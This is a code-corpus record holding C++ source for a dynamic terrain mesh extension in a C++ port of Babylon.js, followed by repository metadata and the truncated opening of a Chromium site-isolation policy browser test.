_averageSubSizeX{0.f} , _averageSubSizeZ{0.f} , _terrainSizeX{0.f} , _terrainSizeZ{0.f} , _terrainHalfSizeX{0.f} , _terrainHalfSizeZ{0.f} , _centerWorld{Vector3::Zero()} , _centerLocal{Vector3::Zero()} , _mapSizeX{0.f} , _mapSizeZ{0.f} , _isAlwaysVisible{false} , _precomputeNormalsFromMap{false} { _terrainSub = (options.terrainSub > 0) ? static_cast<unsigned>(options.terrainSub) : 60; _mapData = options.mapData; _terrainIdx = _terrainSub + 1; _mapSubX = (options.mapSubX > 0) ? static_cast<unsigned>(options.mapSubX) : _terrainIdx; _mapSubZ = (options.mapSubZ > 0) ? static_cast<unsigned>(options.mapSubZ) : _terrainIdx; // if not defined, it will be still populated by default values _mapUVs = options.mapUVs; _mapColors = options.mapColors; _scene = scene; _terrainCamera = options.camera ? options.camera : scene->activeCamera; // initialize the map arrays if not passed as parameters _datamap = !_mapData.empty(); _uvmap = !_mapUVs.empty(); _colormap = !_mapColors.empty(); _mapData = _datamap ? _mapData : Float32Array(_terrainIdx * _terrainIdx * 3); _mapUVs = _uvmap ? _mapUVs : Float32Array(_terrainIdx * _terrainIdx * 2); if (_datamap) { _mapNormals = !options.mapNormals.empty() ? options.mapNormals : Float32Array(_mapSubX * _mapSubZ * 3); } else { _mapNormals = Float32Array(_terrainIdx * _terrainIdx * 3); } // Ribbon creation std::size_t index = 0; // current vertex index in the map array std::size_t posIndex = 0; // current position (coords) index in the map array std::size_t colIndex = 0; // current color index in the color array std::size_t uvIndex = 0; // current uv index in the uv array Color4 color; // current color Vector2 uv; // current uv std::size_t terIndex = 0; // current index in the terrain array float y = 0.0; // current y coordinate std::vector<Vector3> terrainPath; // current path float u = 0.0; // current u of UV float v = 0.0; // current v of UV std::size_t lg = _terrainIdx + 1; // augmented length for the UV to finish before std::vector<std::vector<Vector3>> terrainData; std::vector<Color4> terrainColor; std::vector<Vector2> terrainUV; for (unsigned int j = 0; j <= _terrainSub; ++j) { terrainPath.clear(); for (unsigned int i = 0; i <= _terrainSub; ++i) { index = _mod(j * 3, _mapSubZ) * _mapSubX + _mod(i * 3, _mapSubX); posIndex = index * 3; colIndex = index * 3; uvIndex = index * 2; terIndex = j * _terrainIdx + i; // geometry if (_datamap) { y = _mapData[posIndex + 1]; } else { y = 0.f; _mapData[3 * terIndex] = static_cast<float>(i); _mapData[3 * terIndex + 1] = y; _mapData[3 * terIndex + 2] = static_cast<float>(j); } terrainPath.emplace_back(Vector3(static_cast<float>(i), y, static_cast<float>(j))); // color if (_colormap) { color = Color4(_mapColors[colIndex], _mapColors[colIndex + 1], _mapColors[colIndex + 2], 1.f); } else { color = Color4(1.f, 1.f, 1.f, 1.f); } terrainColor.emplace_back(color); // uvs if (_uvmap) { uv = Vector2(_mapUVs[uvIndex], _mapUVs[uvIndex + 1]); } else { u = 1.f - std::abs(1.f - 2.f * i / lg); v = 1.f - std::abs(1.f - 2.f * j / lg); _mapUVs[2 * terIndex] = u; _mapUVs[2 * terIndex + 1] = v; uv = Vector2(u, v); } terrainUV.emplace_back(uv); } terrainData.emplace_back(terrainPath); } _mapSizeX = std::abs(_mapData[(_mapSubX - 1) * 3] - _mapData[0]); _mapSizeZ = std::abs(_mapData[(_mapSubZ - 1) * _mapSubX * 3 + 2] - _mapData[2]); _averageSubSizeX = _mapSizeX / _mapSubX; _averageSubSizeZ = _mapSizeZ / _mapSubZ; RibbonOptions ribbonOptions; ribbonOptions.pathArray = terrainData; ribbonOptions.sideOrientation = (options.invertSide) ? Mesh::FRONTSIDE : Mesh::BACKSIDE; ribbonOptions.colors = terrainColor; ribbonOptions.uvs = terrainUV; ribbonOptions.updatable = true; _terrain = MeshBuilder::CreateRibbon("terrain", ribbonOptions, _scene); _indices = _terrain->getIndices(); _positions = _terrain->getVerticesData(VertexBuffer::PositionKind); _normals = _terrain->getVerticesData(VertexBuffer::NormalKind); _uvs = _terrain->getVerticesData(VertexBuffer::UVKind); _colors = _terrain->getVerticesData(VertexBuffer::ColorKind); computeNormalsFromMap(); // update it immediatly and register the update callback function in the // render loop update(true); _terrain->position().x = _terrainCamera->globalPosition().x - _terrainHalfSizeX; _terrain->position().z = _terrainCamera->globalPosition().z - _terrainHalfSizeZ; // initialize deltaSub to make float deltaNbSubX = (_terrain->position().x - _mapData[0]) / _averageSubSizeX; float deltaNbSubZ = (_terrain->position().z - _mapData[2]) / _averageSubSizeZ; _deltaSubX = (deltaNbSubX > 0.f) ? static_cast<unsigned>(std::floor(deltaNbSubX)) : static_cast<unsigned>(std::ceil(deltaNbSubX)); _deltaSubZ = (deltaNbSubZ > 0.f) ? static_cast<unsigned>(std::floor(deltaNbSubZ)) : static_cast<unsigned>(std::ceil(deltaNbSubZ)); _scene->registerBeforeRender([this](Scene*, EventState&) { beforeUpdate(_refreshEveryFrame); update(_refreshEveryFrame); afterUpdate(_refreshEveryFrame); }); update(true); // recompute everything once the initial deltas are calculated } DynamicTerrain::~DynamicTerrain() = default; DynamicTerrain& DynamicTerrain::update(bool force) { _needsUpdate = false; _updateLOD = false; _updateForced = (force); _deltaX = _terrainHalfSizeX + _terrain->position().x - _terrainCamera->globalPosition().x; _deltaZ = _terrainHalfSizeZ + _terrain->position().z - _terrainCamera->globalPosition().z; _oldCorrection = _cameraLODCorrection; _cameraLODCorrection = updateCameraLOD(_terrainCamera); _updateLOD = (_oldCorrection != _cameraLODCorrection); _LODValue = _initialLOD + _cameraLODCorrection; _LODValue = (_LODValue > 0) ? _LODValue : 1; _mapShiftX = _averageSubSizeX * _subToleranceX * _LODValue; _mapShiftZ = _averageSubSizeZ * _subToleranceZ * _LODValue; if (std::abs(_deltaX) > _mapShiftX) { _signX = (_deltaX > 0.f) ? -1 : 1; _mapFlgtNb = static_cast<unsigned>(std::abs(_deltaX / _mapShiftX)); _terrain->position().x += _mapShiftX * _signX * _mapFlgtNb; if (_signX == 1) { _deltaSubX += (_subToleranceX * _LODValue * _mapFlgtNb); } else if (_signZ == -1) { _deltaSubX -= (_subToleranceX * _LODValue * _mapFlgtNb); } _needsUpdate = true; } if (std::abs(_deltaZ) > _mapShiftZ) { _signZ = (_deltaZ > 0.f) ? -1 : 1; _mapFlgtNb = static_cast<unsigned>(std::abs(_deltaZ / _mapShiftZ)); _terrain->position().z += _mapShiftZ * _signZ * _mapFlgtNb; if (_signZ == 1) { _deltaSubZ += (_subToleranceZ * _LODValue * _mapFlgtNb); } else if (_signZ == -1) { _deltaSubZ -= (_subToleranceZ * _LODValue * _mapFlgtNb); } _needsUpdate = true; } if (_needsUpdate || _updateLOD || _updateForced) { _deltaSubX = _mod(_deltaSubX, _mapSubX); _deltaSubZ = _mod(_deltaSubZ, _mapSubZ); _updateTerrain(); } _updateForced = false; _updateLOD = false; _centerLocal.x = _terrainHalfSizeX; _centerLocal.y = _terrain->position().y; _centerLocal.z = _terrainHalfSizeZ; _centerWorld.x = _terrain->position().x + _terrainHalfSizeX; _centerWorld.y = _terrain->position().y; _centerWorld.z = _terrain->position().z + _terrainHalfSizeZ; return *this; } void DynamicTerrain::_updateTerrain() { unsigned int stepJ = 0; unsigned int stepI = 0; unsigned int LODLimitDown = 0; unsigned int LODLimitUp = 0; unsigned int LODValue = _LODValue; unsigned int lodI = LODValue; unsigned int lodJ = LODValue; unsigned int l = 0; unsigned int index = 0; // current vertex index in the map data array unsigned int posIndex = 0; // current position index in the map data array unsigned int colIndex = 0; // current index in the map color array unsigned int uvIndex = 0; // current index in the map uv array unsigned int terIndex = 0; // current vertex index in the terrain map array // when used as a data map unsigned int ribbonInd = 0; // current ribbon vertex index unsigned int ribbonPosInd = 0; // current ribbon position index (same than normal index) unsigned int ribbonUVInd = 0; // current ribbon UV index unsigned int ribbonColInd = 0; // current ribbon color index unsigned int ribbonPosInd1 = 0; unsigned int ribbonPosInd2 = 0; unsigned int ribbonPosInd3 = 0; // note : all the indexes are explicitly set as integers for the js optimizer // (store them all in the stack) if (_updateLOD || _updateForced) { updateTerrainSize(); } Vector3::FromFloatsToRef(std::numeric_limits<float>::max(), std::numeric_limits<float>::max(), std::numeric_limits<float>::max(), _bbMin); Vector3::FromFloatsToRef(std::numeric_limits<float>::lowest(), std::numeric_limits<float>::lowest(), std::numeric_limits<float>::lowest(), _bbMax); for (unsigned int j = 0; j <= _terrainSub; ++j) { // LOD Z LODValue = _LODValue; for (l = 0; l < _LODLimits.size(); ++l) { LODLimitDown = _LODLimits[l]; LODLimitUp = _terrainSub - LODLimitDown - 1; if (j < LODLimitDown || j > LODLimitUp) { LODValue = l + 1 + _LODValue; } lodJ = LODValue; } for (unsigned int i = 0; i <= _terrainSub; ++i) { // LOD X LODValue = _LODValue; for (l = 0; l < _LODLimits.size(); ++l) { LODLimitDown = _LODLimits[l]; LODLimitUp = _terrainSub - LODLimitDown - 1; if (i < LODLimitDown || i > LODLimitUp) { LODValue = l + 1 + _LODValue; } lodI = LODValue; } // map current index index = _mod(_deltaSubZ + stepJ, _mapSubZ) * _mapSubX + _mod(_deltaSubX + stepI, _mapSubX); terIndex = _mod(_deltaSubZ + stepJ, _terrainIdx) * _terrainIdx + _mod(_deltaSubX + stepI, _terrainIdx); // related index in the array of positions (data map) if (_datamap) { posIndex = 3 * index; } else { posIndex = 3 * terIndex; } // related index in the UV map if (_uvmap) { uvIndex = 2 * index; } else { uvIndex = 2 * terIndex; } // related index in the color map if (_colormap) { colIndex = 3 * index; } else { colIndex = 3 * terIndex; } // ribbon indexes ribbonPosInd = 3 * ribbonInd; ribbonColInd = 4 * ribbonInd; ribbonUVInd = 2 * ribbonInd; ribbonPosInd1 = ribbonPosInd; ribbonPosInd2 = ribbonPosInd + 1; ribbonPosInd3 = ribbonPosInd + 2; ribbonInd += 1; // geometry _positions[ribbonPosInd1] = _averageSubSizeX * stepI; _positions[ribbonPosInd2] = _mapData[posIndex + 1]; _positions[ribbonPosInd3] = _averageSubSizeZ * stepJ; if (!_computeNormals) { _normals[ribbonPosInd1] = _mapNormals[posIndex]; _normals[ribbonPosInd2] = _mapNormals[posIndex + 1]; _normals[ribbonPosInd3] = _mapNormals[posIndex + 2]; } // bbox internal update if (_positions[ribbonPosInd1] < _bbMin.x) { _bbMin.x = _positions[ribbonPosInd1]; } if (_positions[ribbonPosInd1] > _bbMax.x) { _bbMax.x = _positions[ribbonPosInd1]; } if (_positions[ribbonPosInd2] < _bbMin.y) { _bbMin.y = _positions[ribbonPosInd2]; } if (_positions[ribbonPosInd2] > _bbMax.y) { _bbMax.y = _positions[ribbonPosInd2]; } if (_positions[ribbonPosInd3] < _bbMin.z) { _bbMin.z = _positions[ribbonPosInd3]; } if (_positions[ribbonPosInd3] > _bbMax.z) { _bbMax.z = _positions[ribbonPosInd3]; } // color if (_colormap) { _colors[ribbonColInd] = _mapColors[colIndex]; _colors[ribbonColInd + 1] = _mapColors[colIndex + 1]; _colors[ribbonColInd + 2] = _mapColors[colIndex + 2]; } // uv : the array _mapUVs is always populated _uvs[ribbonUVInd] = _mapUVs[uvIndex]; _uvs[ribbonUVInd + 1] = _mapUVs[uvIndex + 1]; // call to user custom function with the current updated vertex object if (_useCustomVertexFunction) { _vertex.position.copyFromFloats(_positions[ribbonPosInd1], _positions[ribbonPosInd2], _positions[ribbonPosInd3]); _vertex.worldPosition.x = _mapData[posIndex]; _vertex.worldPosition.y = _vertex.position.y; _vertex.worldPosition.z = _mapData[posIndex + 2]; _vertex.lodX = lodI; _vertex.lodZ = lodJ; _vertex.color.r = _colors[ribbonColInd]; _vertex.color.g = _colors[ribbonColInd + 1]; _vertex.color.b = _colors[ribbonColInd + 2]; _vertex.color.a = _colors[ribbonColInd + 3]; _vertex.uvs.x = _uvs[ribbonUVInd]; _vertex.uvs.y = _uvs[ribbonUVInd + 1]; _vertex.mapIndex = index; updateVertex(_vertex, i, j); // the user can modify the array values here _colors[ribbonColInd] = _vertex.color.r; _colors[ribbonColInd + 1] = _vertex.color.g; _colors[ribbonColInd + 2] = _vertex.color.b; _colors[ribbonColInd + 3] = _vertex.color.a; _uvs[ribbonUVInd] = _vertex.uvs.x; _uvs[ribbonUVInd + 1] = _vertex.uvs.y; _positions[ribbonPosInd1] = _vertex.position.x; _positions[ribbonPosInd2] = _vertex.position.y; _positions[ribbonPosInd3] = _vertex.position.z; } stepI += lodI; } stepI = 0; stepJ += lodJ; } // ribbon update _terrain->updateVerticesData(VertexBuffer::PositionKind, _positions, false, false); if (_computeNormals) { VertexData::ComputeNormals(_positions, _indices, _normals); } _terrain->updateVerticesData(VertexBuffer::NormalKind, _normals, false, false); _terrain->updateVerticesData(VertexBuffer::UVKind, _uvs, false, false); _terrain->updateVerticesData(VertexBuffer::ColorKind, _colors, false, false); _terrain->_boundingInfo = std::make_unique<BoundingInfo>(_bbMin, _bbMax); _terrain->_boundingInfo->update(_terrain->_worldMatrix); } DynamicTerrain& DynamicTerrain::updateTerrainSize() { unsigned int remainder = _terrainSub; // the remaining cells at the general current LOD value unsigned int nb = 0; // nb of cells in the current LOD limit interval unsigned int next = 0; // next cell index, if it exists unsigned int lod; // lod value in the current LOD limit interval float tsx = 0.0; // current sum of cell sizes on x float tsz = 0.0; // current sum of cell sizes on z for (unsigned int l = 0; l < _LODLimits.size(); ++l) { lod = _LODValue + l + 1; next = (l >= _LODLimits.size() - 1) ? 0 : _LODLimits[l + 1]; nb = 2 * (_LODLimits[l] - next); tsx += _averageSubSizeX * lod * nb; tsz += _averageSubSizeZ * lod * nb; remainder -= nb; } tsx += remainder * _averageSubSizeX * _LODValue; tsz += remainder * _averageSubSizeZ * _LODValue; _terrainSizeX = tsx; _terrainSizeZ = tsz; _terrainHalfSizeX = tsx * 0.5f; _terrainHalfSizeZ = tsz * 0.5f; return *this; } float DynamicTerrain::getHeightFromMap(float x, float z, const Vector3& normal) const { return DynamicTerrain::_GetHeightFromMap(x, z, _mapData, _mapSubX, _mapSubZ, _mapSizeX, _mapSizeZ, normal); } float DynamicTerrain::GetHeightFromMap(float x, float z, const Float32Array& mapData, unsigned int mapSubX, unsigned int mapSubZ, const Vector3& normal) { const float mapSizeX = std::abs(mapData[(mapSubX - 1) * 3] - mapData[0]); const float mapSizeZ = std::abs(mapData[(mapSubZ - 1) * mapSubX * 3 + 2] - mapData[2]); return DynamicTerrain::_GetHeightFromMap(x, z, mapData, mapSubX, mapSubZ, mapSizeX, mapSizeZ, normal); } float DynamicTerrain::_GetHeightFromMap(float x, float z, const Float32Array& mapData, unsigned int mapSubX, unsigned int mapSubZ, float mapSizeX, float mapSizeZ, const Vector3& normal) { const float x0 = mapData[0]; const float z0 = mapData[2]; // reset x and z in the map space so they are between 0 and the axis map size x = x - std::floor((x - x0) / mapSizeX) * mapSizeX; z = z - std::floor((z - z0) / mapSizeZ) * mapSizeZ; const auto col1 = static_cast<unsigned>(std::floor((x - x0) * mapSubX / mapSizeX)); const auto row1 = static_cast<unsigned>(std::floor((z - z0) * mapSubZ / mapSizeZ)); const unsigned int col2 = (col1 + 1) % mapSubX; const unsigned int row2 = (row1 + 1) % mapSubZ; // starting indexes of the positions of 4 vertices defining a quad on the map const unsigned int idx1 = 3 * (row1 * mapSubX + col1); const unsigned int idx2 = 3 * (row1 * mapSubX + col2); const unsigned int idx3 = 3 * ((row2)*mapSubX + col1); const unsigned int idx4 = 3 * ((row2)*mapSubX + col2); DynamicTerrain::_v1.copyFromFloats(mapData[idx1], mapData[idx1 + 1], mapData[idx1 + 2]); DynamicTerrain::_v2.copyFromFloats(mapData[idx2], mapData[idx2 + 1], mapData[idx2 + 2]); DynamicTerrain::_v3.copyFromFloats(mapData[idx3], mapData[idx3 + 1], mapData[idx3 + 2]); DynamicTerrain::_v4.copyFromFloats(mapData[idx4], mapData[idx4 + 1], mapData[idx4 + 2]); Vector3 vA = DynamicTerrain::_v1; Vector3 vB; Vector3 vC; Vector3 v; const float xv4v1 = DynamicTerrain::_v4.x - DynamicTerrain::_v1.x; const float zv4v1 = DynamicTerrain::_v4.z - DynamicTerrain::_v1.z; if (stl_util::almost_equal(xv4v1, 0.f) || stl_util::almost_equal(zv4v1, 0.f)) { return DynamicTerrain::_v1.y; } const float cd = zv4v1 / xv4v1; const float h = DynamicTerrain::_v1.z - cd * DynamicTerrain::_v1.x; if (z < cd * x + h) { vB = DynamicTerrain::_v4; vC = DynamicTerrain::_v2; v = vA; } else { vB = DynamicTerrain::_v3; vC = DynamicTerrain::_v4; v = vB; } vB.subtractToRef(vA, DynamicTerrain::_vAvB); vC.subtractToRef(vA, DynamicTerrain::_vAvC); Vector3::CrossToRef(DynamicTerrain::_vAvB, DynamicTerrain::_vAvC, DynamicTerrain::_norm); DynamicTerrain::_norm.normalize(); if (normal != Vector3::Zero()) { auto tmpVector = normal; tmpVector.copyFrom(DynamicTerrain::_norm); } const float d = -(DynamicTerrain::_norm.x * v.x + DynamicTerrain::_norm.y * v.y + DynamicTerrain::_norm.z * v.z); float y = v.y; if (!stl_util::almost_equal(DynamicTerrain::_norm.y, 0.f)) { y = -(DynamicTerrain::_norm.x * x + DynamicTerrain::_norm.z * z + d) / DynamicTerrain::_norm.y; } return y; } void DynamicTerrain::ComputeNormalsFromMapToRef(const Float32Array& mapData, unsigned int mapSubX, unsigned int mapSubZ, Float32Array& normals) { Uint32Array mapIndices; auto tmp1Normal = Vector3::Zero(); auto tmp2Normal = Vector3::Zero(); unsigned int l = mapSubX * (mapSubZ - 1); for (unsigned int i = 0; i < l; i++) { stl_util::concat(mapIndices, {i + 1, i + mapSubX, i}); stl_util::concat(mapIndices, {i + mapSubX, i + 1, i + mapSubX + 1}); } VertexData::ComputeNormals(mapData, mapIndices, normals); // seam process unsigned int lastIdx = (mapSubX - 1) * 3; unsigned int colStart = 0; unsigned int colEnd = 0; for (unsigned int i = 0; i < mapSubZ; ++i) { colStart = i * mapSubX * 3; colEnd = colStart + lastIdx; DynamicTerrain::GetHeightFromMap(mapData[colStart], mapData[colStart + 2], mapData, mapSubX, mapSubZ, tmp1Normal); DynamicTerrain::GetHeightFromMap(mapData[colEnd], mapData[colEnd + 2], mapData, mapSubX, mapSubZ, tmp2Normal); tmp1Normal.addInPlace(tmp2Normal).scaleInPlace(0.5f); normals[colStart] = tmp1Normal.x; normals[colStart + 1] = tmp1Normal.y; normals[colStart + 2] = tmp1Normal.z; normals[colEnd] = tmp1Normal.x; normals[colEnd + 1] = tmp1Normal.y; normals[colEnd + 2] = tmp1Normal.z; } } DynamicTerrain& DynamicTerrain::computeNormalsFromMap() { DynamicTerrain::ComputeNormalsFromMapToRef(_mapData, _mapSubX, _mapSubZ, _mapNormals); return *this; } bool DynamicTerrain::contains(float x, float z) { if (x < _positions[0] + mesh()->position().x || x > _positions[3 * _terrainIdx] + mesh()->position().x) { return false; } if (z < _positions[2] + mesh()->position().z || z > _positions[3 * _terrainIdx * _terrainIdx + 2] + mesh()->position().z) { return false; } return true; } Float32Array DynamicTerrain::CreateMapFromHeightMap(const std::string& heightmapURL, const HeightMapOptions& options, Scene* scene) { const auto subX = options.subX; const auto subZ = options.subZ; Float32Array data(subX * subZ * 3); DynamicTerrain::CreateMapFromHeightMapToRef(heightmapURL, options, data, scene); return data; } void DynamicTerrain::CreateMapFromHeightMapToRef(const std::string& heightmapURL, const HeightMapOptions& options, Float32Array& data, Scene* /*scene*/) { const auto& width = options.width; const auto& height = options.height; const auto& subX = options.subX; const auto& subZ = options.subZ; const auto& minHeight = options.minHeight; const auto& maxHeight = options.maxHeight; const auto& offsetX = options.offsetX; const auto& offsetZ = options.offsetZ; const auto& filter = options.colorFilter; const auto& onReady = options.onReady; const auto onload = [&](const Image& img) { // Getting height map data // var canvas = document.createElement("canvas"); // var context = canvas.getContext("2d"); int bufferWidth = img.width; int bufferHeight = img.height; // canvas.width = bufferWidth; // canvas.height = bufferHeight; // context.drawImage(img, 0, 0); // Cast is due to wrong definition in lib.d.ts from ts 1.3 - // https://github.com/Microsoft/TypeScript/issues/949 // var buffer = <Uint8Array>(<any>context.getImageData(0, 0, bufferWidth, // bufferHeight).data); const Uint8Array& buffer = img.data; float x = 0.0; float y = 0.0; float z = 0.0; for (unsigned int row = 0; row < subZ; row++) { for (unsigned int col = 0; col < subX; col++) { x = col * width / subX - width * 0.5f; z = row * height / subZ - height * 0.5f; float heightmapX = ((x + width * 0.5f) / width * (bufferWidth - 1)); float heightmapY = (bufferHeight - 1) - ((z + height * 0.5f) / height * (bufferHeight - 1)); unsigned int pos = static_cast<unsigned>(heightmapX + heightmapY * bufferWidth) * 4; float gradient = (buffer[pos] * filter.r + buffer[pos + 1] * filter.g + buffer[pos + 2] * filter.b) / 255.f; y = minHeight + (maxHeight - minHeight) * gradient; unsigned int idx = (row * subX + col) * 3; data[idx] = x + offsetX; data[idx + 1] = y; data[idx + 2] = z + offsetZ; } } // callback function if any if (onReady) { onReady(data, subX, subZ); } }; const auto onError = [](const std::string& msg, const std::string& /*exception*/) { BABYLON_LOG_ERROR("Tools", msg) }; FileTools::LoadImageFromUrl(heightmapURL, onload, onError); } void DynamicTerrain::CreateUVMapToRef(float subX, float subZ, Float32Array& mapUVs) { for (float h = 0; h < subZ; h++) { for (float w = 0; w < subX; w++) { mapUVs[static_cast<std::size_t>(h * subX + w) * 2] = w / subX; mapUVs[static_cast<std::size_t>(h * subX + w) * 2 + 1] = h / subZ; } } } Float32Array DynamicTerrain::CreateUVMap(float subX, float subZ) { Float32Array mapUVs(static_cast<std::size_t>(subX * subZ * 2)); DynamicTerrain::CreateUVMapToRef(subX, subZ, mapUVs); return mapUVs; } /** * Computes and sets the terrain UV map with values to fit the whole map. * Returns the terrain. */ DynamicTerrain& DynamicTerrain::createUVMap() { setMapUVs( DynamicTerrain::CreateUVMap(static_cast<float>(_mapSubX), static_cast<float>(_mapSubZ))); return *this; } bool DynamicTerrain::refreshEveryFrame() const { return _refreshEveryFrame; } void DynamicTerrain::setRefreshEveryFrame(bool val) { _refreshEveryFrame = val; } MeshPtr& DynamicTerrain::mesh() { return _terrain; } CameraPtr& DynamicTerrain::camera() { return _terrainCamera; } void DynamicTerrain::setCamera(const CameraPtr& val) { _terrainCamera = val; } unsigned int DynamicTerrain::subToleranceX() const { return _subToleranceX; } void DynamicTerrain::setSubToleranceX(unsigned int val) { _subToleranceX = (val > 0) ? val : 1; } unsigned int DynamicTerrain::subToleranceZ() const { return _subToleranceZ; } void DynamicTerrain::setSubToleranceZ(unsigned int val) { _subToleranceZ = (val > 0) ? val : 1; } unsigned int DynamicTerrain::initialLOD() const { return _initialLOD; } void DynamicTerrain::setInitialLOD(unsigned int val) { _initialLOD = (val > 0) ? val : 1; } unsigned int DynamicTerrain::LODValue() const { return _LODValue; } unsigned int DynamicTerrain::cameraLODCorrection() const { return _cameraLODCorrection; } void DynamicTerrain::setCameraLODCorrection(unsigned int val) { _cameraLODCorrection = val; } float DynamicTerrain::averageSubSizeX() const { return _averageSubSizeX; } float DynamicTerrain::averageSubSizeZ() const { return _averageSubSizeZ; } float DynamicTerrain::terrainSizeX() const { return _terrainSizeX; } float DynamicTerrain::terrainHalfSizeX() const { return _terrainHalfSizeX; } float DynamicTerrain::terrainSizeZ() const { return _terrainSizeZ; } float DynamicTerrain::terrainHalfSizeZ() { return _terrainHalfSizeZ; } const Vector3& DynamicTerrain::centerLocal() const { return _centerLocal; } const Vector3& DynamicTerrain::centerWorld() const { return _centerWorld; } const Uint32Array& DynamicTerrain::LODLimits() const { return _LODLimits; } void DynamicTerrain::LODLimits(Uint32Array ar) { std::sort(ar.begin(), ar.end(), std::greater<std::uint32_t>()); _LODLimits = std::move(ar); } const Float32Array& DynamicTerrain::mapData() const { return _mapData; } void DynamicTerrain::setMapData(const Float32Array& val) { _mapData = val; _datamap = true; _mapSizeX = std::abs(_mapData[(_mapSubX - 1) * 3] - _mapData[0]); _mapSizeZ = std::abs(_mapData[(_mapSubZ - 1) * _mapSubX * 3 + 2] - _mapData[2]); _averageSubSizeX = _mapSizeX / _mapSubX; _averageSubSizeZ = _mapSizeZ / _mapSubZ; if (_precomputeNormalsFromMap) { computeNormalsFromMap(); } update(true); } unsigned int DynamicTerrain::mapSubX() const { return _mapSubX; } void DynamicTerrain::setMapSubX(unsigned int val) { _mapSubX = val; } unsigned int DynamicTerrain::mapSubZ() const { return _mapSubZ; } void DynamicTerrain::setMapSubZ(unsigned int val) { _mapSubZ = val; } const Float32Array& DynamicTerrain::mapColors() const { return _mapColors; } void DynamicTerrain::setMapColors(const Float32Array& val) { _colormap = true; _mapColors = val; } const Float32Array& DynamicTerrain::mapUVs() const { return _mapUVs; } void DynamicTerrain::setMapUVs(const Float32Array& val) { _uvmap = true; _mapUVs = val; } const Float32Array& DynamicTerrain::mapNormals() const { return _mapNormals; } void DynamicTerrain::setMapNormals(const Float32Array& val) { _mapNormals = val; } bool DynamicTerrain::computeNormals() const { return _computeNormals; } void DynamicTerrain::setComputeNormals(bool val) { _computeNormals = val; } bool DynamicTerrain::useCustomVertexFunction() const { return _useCustomVertexFunction; } void DynamicTerrain::useCustomVertexFunction(bool val) { _useCustomVertexFunction = val; } bool DynamicTerrain::isAlwaysVisible() const { return _isAlwaysVisible; } void DynamicTerrain::setIsAlwaysVisible(bool val) { mesh()->alwaysSelectAsActiveMesh = val; _isAlwaysVisible = val; } bool DynamicTerrain::precomputeNormalsFromMap() const { return _precomputeNormalsFromMap; } void DynamicTerrain::setPrecomputeNormalsFromMap(bool val) { _precomputeNormalsFromMap = val; } void DynamicTerrain::updateVertex(DynamicTerrainVertex& /*vertex*/, unsigned int /*i*/, unsigned /*j*/) { } unsigned int DynamicTerrain::updateCameraLOD(const CameraPtr& /*terrainCamera*/) { // LOD value increases with camera altitude unsigned int camLOD = 0; return camLOD; } void DynamicTerrain::beforeUpdate(bool /*refreshEveryFrame*/) { } void DynamicTerrain::afterUpdate(bool /*refreshEveryFrame*/) { } } // end of namespace Extensions } // end of namespace BABYLON
33.975916
100
0.633525
sacceus
590253ef823890af7191227a7c7c31c0f6f17196
14,696
cc
C++
chrome/browser/ash/policy/handlers/site_isolation_flag_handling_browsertest.cc
Yannic/chromium
ab32e8aacb08c9fce0dc4bf09eec456ba46e3710
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
76
2020-09-02T03:05:41.000Z
2022-03-30T04:40:55.000Z
chrome/browser/ash/policy/handlers/site_isolation_flag_handling_browsertest.cc
blueboxd/chromium-legacy
07223bc94bd97499909c9ed3c3f5769d718fe2e0
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
45
2020-09-02T03:21:37.000Z
2022-03-31T22:19:45.000Z
chrome/browser/ash/policy/handlers/site_isolation_flag_handling_browsertest.cc
Yannic/chromium
ab32e8aacb08c9fce0dc4bf09eec456ba46e3710
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
8
2020-07-22T18:49:18.000Z
2022-02-08T10:27:16.000Z
// Copyright 2018 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include <ostream> #include <set> #include <string> #include <vector> #include "base/bind.h" #include "base/command_line.h" #include "base/containers/cxx20_erase.h" #include "base/macros.h" #include "base/strings/string_util.h" #include "chrome/browser/ash/login/existing_user_controller.h" #include "chrome/browser/ash/login/session/user_session_manager.h" #include "chrome/browser/ash/login/session/user_session_manager_test_api.h" #include "chrome/browser/ash/login/test/device_state_mixin.h" #include "chrome/browser/ash/login/test/fake_gaia_mixin.h" #include "chrome/browser/ash/login/test/login_manager_mixin.h" #include "chrome/browser/ash/login/test/oobe_base_test.h" #include "chrome/browser/ash/login/test/session_manager_state_waiter.h" #include "chrome/browser/ash/login/test/user_policy_mixin.h" #include "chrome/browser/ash/login/ui/login_display_host.h" #include "chrome/browser/ash/login/users/chrome_user_manager_impl.h" #include "chrome/browser/ash/login/wizard_controller.h" #include "chrome/browser/ash/profiles/profile_helper.h" #include "chrome/browser/site_isolation/about_flags.h" #include "chrome/browser/ui/webui/chromeos/login/gaia_screen_handler.h" #include "chrome/browser/ui/webui/chromeos/login/oobe_ui.h" #include "chrome/test/base/in_process_browser_test.h" #include "chromeos/cryptohome/cryptohome_parameters.h" #include "chromeos/dbus/session_manager/fake_session_manager_client.h" #include "chromeos/settings/cros_settings_names.h" #include "components/flags_ui/pref_service_flags_storage.h" #include "components/policy/core/browser/browser_policy_connector.h" #include "components/policy/core/common/mock_configuration_policy_provider.h" #include "components/policy/core/common/policy_map.h" #include "components/policy/core/common/policy_types.h" #include "components/policy/policy_constants.h" #include "components/session_manager/core/session_manager.h" #include "components/session_manager/core/session_manager_observer.h" #include "components/user_manager/user_manager.h" #include "content/public/browser/child_process_security_policy.h" #include "content/public/common/content_switches.h" #include "content/public/test/browser_test.h" #include "testing/gtest/include/gtest/gtest.h" #include "third_party/cros_system_api/switches/chrome_switches.h" namespace policy { namespace { namespace em = ::enterprise_management; struct Params { Params(std::string login_screen_isolate_origins, std::string user_policy_isolate_origins, bool user_policy_site_per_process, std::vector<std::string> user_flag_internal_names, bool ephemeral_users, bool expected_request_restart, std::vector<std::string> expected_switches_for_user, std::vector<std::string> expected_isolated_origins = {}) : login_screen_isolate_origins(login_screen_isolate_origins), user_policy_isolate_origins(user_policy_isolate_origins), user_policy_site_per_process(user_policy_site_per_process), user_flag_internal_names(std::move(user_flag_internal_names)), ephemeral_users(ephemeral_users), expected_request_restart(expected_request_restart), expected_switches_for_user(expected_switches_for_user), expected_isolated_origins(expected_isolated_origins) {} friend std::ostream& operator<<(std::ostream& os, const Params& p) { os << "{" << std::endl << " login_screen_isolate_origins: " << p.login_screen_isolate_origins << std::endl << " user_policy_site_per_process: " << p.user_policy_site_per_process << std::endl << " user_policy_isolate_origins: " << 